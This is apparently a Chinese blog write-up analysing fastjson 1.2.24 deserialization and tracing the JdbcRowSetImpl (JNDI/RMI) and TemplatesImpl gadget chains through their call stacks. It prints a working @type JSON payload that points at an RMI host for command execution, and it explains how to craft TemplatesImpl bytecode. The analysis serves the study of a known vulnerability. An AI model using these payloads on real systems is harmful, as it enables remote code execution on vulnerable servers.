前言
fastjson反序列化,JAVA安全绕不过的坎。
反序列化原理
一般情况下,fastjson反序列化的结果是一个JSONObject
的对象,但在序列化时设置SerializerFeature
为WriteClassName
,序列化的字符串就会多一个@type
的键值对,在反序列化时就会按照@type
的值,返回相应的对象。
实验代码和运行结果如下,可以看到当反序列化的方法为parse
和parseObject
且传入参数为json字符串和Class实例时,会自动调用给定类的构造方法和setter方法;当放序列化方法为parseObject
且只传入json字符串时,会调用给定类的构造方法、setter方法和全部的getter方法。
1 | public static void main(String[] args){ |
综上,构造payload的入口类的构造方法、setter方法或getter方法需要具有实现想要功能的代码,或可通过这些方法跳转到中间衔接类或目的实现类。
POC分析
fastjson在1.2.24下有两个通用的payload:JdbcRowSetImpl
和TemplatesImpl
。
JdbcRowSetImpl
从以下payload可以看出是通过JNDI注入实现命令执行的,搭好RMI服务后,在Runtime
的exec
方法下个断点。
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:8888/Calc","autoCommit":true} |
调用栈很简单,在setAutoCommit
方法调用connnet
方法,而connnet
方法又使用我们设置的JNDI字符串调用lookup
方法,加载恶意的工厂类导致命令执行。当然也因为是JNDI的利用方式,在一些低版本JDK环境下才能利用成功。
TemplatesImpl
TemplatesImpl的POC构造比JdbcRowSetImpl复杂些,而且对反序列化的SerializerFeature
参数有要求,使用parseObject
时需要JSON.parseObject(json, Object.class, Feature.SupportNonPublicField)
,parse
方法时需要JSON.parse(json,Feature.SupportNonPublicField)
,但好处就是无需出网加载恶意类。
下面是利用代码,同样在exec
方法下断点继续调试。
1 | public class Templates { |
调用栈显示设置outputProperties
而调用它的setter方法,接着再陆续调用newTransformer
方法和getTransletInstance
方法。主要的代码在getTransletInstance
方法中,实例化_class
数组里相应的Class实例。而_class
数组我们是没有在json中设置的,它的赋值是在上面的defineTransletClasses
方法。
跟进defineTransletClasses
方法,会通过TransletClassLoader
的defineClass
将我传入的_bytecodes
字节转换为Class实例,但在这之前和之后会调用_tfactory
的方法和判断_transletIndex
是否小于0。这时可以利用fastjson自动实例化传空值的属性的类型的特性,将_tfactory
初始化,然后_transletIndex
的问题,可以令恶意类的父类为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
在if里给_transletIndex
赋值。还有个_name
属性,在getTransletInstance
方法里判断为空则会返回空,不会进入到实例化的方法里,在这里给_name
属性赋任意字符串值即可。
还有个问题就是,payload里_bytecodes
的值为数组套个base64的字符串,但在TemplatesImpl里_bytecodes
的类型是二维数组字节。通过别的文章得知fastjson是使用自己的IOUtils
工具类实现base64解码的,在相应的方法下断点。ObjectArrayCodec
的deserialze
方法调用JSONScanner
的bytesVAlues
方法进行base64解码。
再往上几层跟进到DefaultFieldDeserializer
的parseField
方法,根据不同的fieldValueDeserilizer
值通过deserialze
反序列化获取属性的值。而fieldValueDeserilizer
的值又是从ParserConfig
的getDeserializer
方法获取,在这个方法里,数组类型的属性会返回ObjectArrayCodec
实例的derializer
。ObjectArrayCodec
会像调用栈所示那样,对数组类型属性的base64值解码还原。
属性的问题明了了,回到TemplatesImpl
的getTransletInstance
方法,实例化_class
Class实例数组里的类,执行类恶意类里的静态方法,至此利用结束。
后记
平庸这东西犹如白衬衣上的污痕,一旦染上便永远洗不掉,无可挽回
参考
https://y4er.com/post/fastjson-learn/
https://www.cnblogs.com/chengez/p/14789477.html